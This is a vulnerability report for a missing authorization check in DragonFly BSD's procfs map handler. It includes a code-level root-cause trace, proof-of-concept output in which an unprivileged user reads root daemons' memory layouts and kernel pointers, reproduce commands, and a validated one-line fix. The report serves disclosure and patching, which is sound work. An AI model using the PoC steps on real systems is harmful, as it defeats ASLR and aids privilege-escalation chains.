# DF-0921 — Missing privilege check in `/proc/<pid>/map` (procfs Pmap)

| Field        | Value                                                  |
|--------------|--------------------------------------------------------|
| ID           | DF-0921                                                |
| Verdict      | **REPRODUCED** (info leak)                             |
| Impact       | Process VM-layout + mapped-file-path disclosure to any local user |
| Confidence   | certain                                                |
| Kernel       | DragonFly 6.5-DEVELOPMENT `#0` (unpatched baseline)    |
| Fix validated| YES on single-fix kernel `#1` — EPERM returned         |

## Verdict

**REPRODUCED — info leak.** An unprivileged local user (`maxx`, uid 1001, not
in `wheel`) can read the complete VM map of any other user's process,
including uid-0 daemons (syslogd, sshd, cron, devd, dhclient), via
`/proc/<pid>/map`. The dump exposes:

1. **Start/end addresses of every VM mapping** → defeats the victim's
   user-space ASLR (`vm.randomize_mmap`).
2. **Protection bits** (`r-x`, `rw-`, `r--`).
3. **Resolved file paths** of every mapped vnode (`vn_fullpath`) → discloses
   which executables, libraries and files the victim has mapped.
4. **Kernel pointer in column 5** (`vm_object` address, e.g.
   `0xfffff80116822c00`) — that one is the *adjacent* DF-0922 leak, not this
   finding; it is mentioned only because it rides the same unchecked path.

The bug is **not memory corruption**; there is no escalation chain. Impact is
honest info-leak: ASLR/layout defeat for privileged processes (enabler for a
separate write primitive) and disclosure of mapped library/file paths.

## Mechanism (every hop cited `path:line`)

1. **Reachability gate is inert under default config.** The directory lookup
   at `sys/vfs/procfs/procfs_vnops.c:809-811` only restricts visibility when
   `security.ps_showallprocs==0` *and* caller is non-root *and* uids differ.
   The guest ships `security.ps_showallprocs: 1` (verified), so every pid is
   visible to every local user, and `/proc/<pid>/` walks succeed.
2. **Open-time privilege gate covers `Pmem` only.** `procfs_open()` at
   `sys/vfs/procfs/procfs_vnops.c:184-211` enforces `CHECKIO + p_trespass`
   inside the `case Pmem:` arm only (`:199`); the `default:` arm (`:209-211`,
   which `Pmap` falls through into) is a no-op.
3. **`procfs_domap()` performs no privilege check at all.** At
   `sys/vfs/procfs/procfs_map.c:56-79`, the function jumps straight from
   the `UIO_READ`/bounds sanity checks into `sbuf_new()` and the
   `RB_FOREACH(entry, vm_map_rb_tree, &map->rb_root)` walk that emits every
   mapping's start/end/prot/path. There is no `CHECKIO`, no `p_trespass`, no
   `priv_check`, no uid comparison anywhere on this path.
4. **Sibling functions all check; this one is the outlier.** `procfs_doregs`
   (`sys/vfs/procfs/procfs_regs.c:60`), `procfs_dofpregs`
   (`sys/vfs/procfs/procfs_fpregs.c:59`), `procfs_dodbregs`
   (`sys/vfs/procfs/procfs_dbregs.c:62`), `procfs_domem`
   (`sys/vfs/procfs/procfs_mem.c:190`) and `procfs_doctl`
   (`sys/vfs/procfs/procfs_ctl.c:126`) all begin with
   `if (!CHECKIO(curp, p) || p_trespass(curp->p_ucred, p->p_ucred)) return EPERM;`.
   `procfs_domap` is the only `do*` handler that omits it.

## Evidence

### Baseline (unpatched `#0`): maxx reads syslogd's full VM map

```
$ id
uid=1001(maxx) gid=1001 groups=1001
$ ps -ax -o pid,uid,comm | awk '$2==0 && $3 ~ /syslog|sshd|cron|dhclient|devd/'
   289     0 dhclient
   329     0 devd
   409     0 syslogd
   721     0 sshd
   741     0 cron
$ ./leak_map /proc/409/map
0x0000000000400000 0x0000000000409000 -1 -1 0xfffff80116822c00 r-x 1 0 0x0000 COW NC vnode /usr/sbin/syslogd
0x0000000000609000 0x000000000060a000 -1 -1 0xfffff8011683bd40 rw- 1 0 0x0180 COW NC default -
0x000000000060a000 0x000000000060d000 -1 -1 0xfffff80116839180 rw- 1 0 0x0180 COW NNC default -
0x0000000800609000 0x000000080064a000 -1 -1 0xfffff80116821940 r-x 30 0 0x0000 COW NC vnode /libexec/ld-elf.so.2
...
0x0000000800860000 0x0000000800871000 -1 -1 0xfffff80116824140 r-x 24 0 0x0000 COW NC vnode /lib/libutil.so.4
0x0000000800a73000 0x0000000800ba8000 -1 -1 0xfffff80116822200 r-x 30 0 0x0000 COW NC vnode /lib/libc.so.8
0x00007fffffdfe000 0x00007fffffdff000 -1 -1 0xfffff8011683a800 r-x 3 0 0x0180 COW NC default -    <- stack
```

24 lines for syslogd, 19+ for sshd, cron, dhclient, devd — every uid-0 daemon
fully disclosed. Identical output across 3 runs (ASLR is OFF on this guest so
the leak is byte-stable; on a real system with `vm.randomize_mmap=1` the same
read still returns the live runtime addresses).

### After fix (single-fix kernel `#1`): same PoC, every uid-0 target → EPERM

```
$ uname -a | head -1
DragonFly ... 6.5-DEVELOPMENT #1: Sun Jul 12 05:20:21 UTC 2026 ...
$ for p in 285 299 329 409 703 723 842; do
    ./leak_map /proc/$p/map
  done
read: Operation not permitted    # dhclient (285)
read: Operation not permitted    # dhclient (299)
read: Operation not permitted    # devd   (329)
read: Operation not permitted    # syslogd(409)
read: Operation not permitted    # sshd   (703)
read: Operation not permitted    # cron   (723)
read: Operation not permitted    # sshd-session (842)

# sanity: own uid's map still readable
$ ./leak_map /proc/$$/map | head -2
0x0000000000400000 0x0000000000472000 -1 -1 0xfffff801168216c0 r-x 1 0 0x0000 COW NC vnode /bin/sh
0x0000000000671000 0x0000000000674000 -1 -1 0xfffff8008fad47c0 rw- 1 0 0x0180 COW NC default -
```

The check is enforced symmetrically: cross-uid reads of the map return
`EPERM`, same-uid reads still succeed — the documented behavior of
`CHECKIO` + `p_trespass`.

## Exploit chain

**None — not a memory-corruption primitive.** DF-0921 is a pure authorization
bypass / info leak (CWE-862). The realistic impact ceiling is: full VM-layout
disclosure of any local process (ASLR defeat for any separate write primitive
the attacker has in a root daemon), plus disclosure of the mapped-file set of
privileged processes. No write primitive is created by this bug alone.

## Fix (validated)

Mirror the existing `Pmem`/`Pregs`/`Pfpregs`/`Pdbregs`/`Pmem`/`Pctl`
authorization into `procfs_domap()` at function entry. The fix.diff adds,
immediately after the existing `UIO_READ` check:

```c
if (!CHECKIO(curp, p) || p_trespass(curp->p_ucred, p->p_ucred))
    return (EPERM);
```

This is the same check `procfs_doregs`/`procfs_dofpregs`/`procfs_dodbregs`/
`procfs_domem`/`procfs_doctl` all use. Validated on a single-fix kernel:
baseline leaks the full map, patched kernel returns `EPERM` for every cross-uid
read while preserving same-uid access. **Matches (and lands at the same site
as) the finding markdown's `## Recommended fix` proposal.**

## PoC changes

No source changes were required to `leak_map.c` — it built and ran as written.
Added: `build.sh`, `run.sh` (runnable repro scripts), `VERDICT.md`, this file,
`fix.diff`, `manifest.json`, plus the full untrimmed logs (`run.log`,
`fix_run.log`, `fix_run2.log`, `fix_build.log`, `leak_sample.txt`, `env.txt`).

## Reproduce

```
./build.sh
./run.sh                                  # picks any uid-0 daemon pid automatically
# or explicit: ./leak_map /proc/$(pgrep -u 0 syslogd)/map
```

- **Unpatched (`#0`)**: prints the victim's full VM map (start/end addresses,
  protection, mapped file paths, and a `0xffff...` kernel object pointer).
- **Patched (`#1`)**: `read: Operation not permitted`.
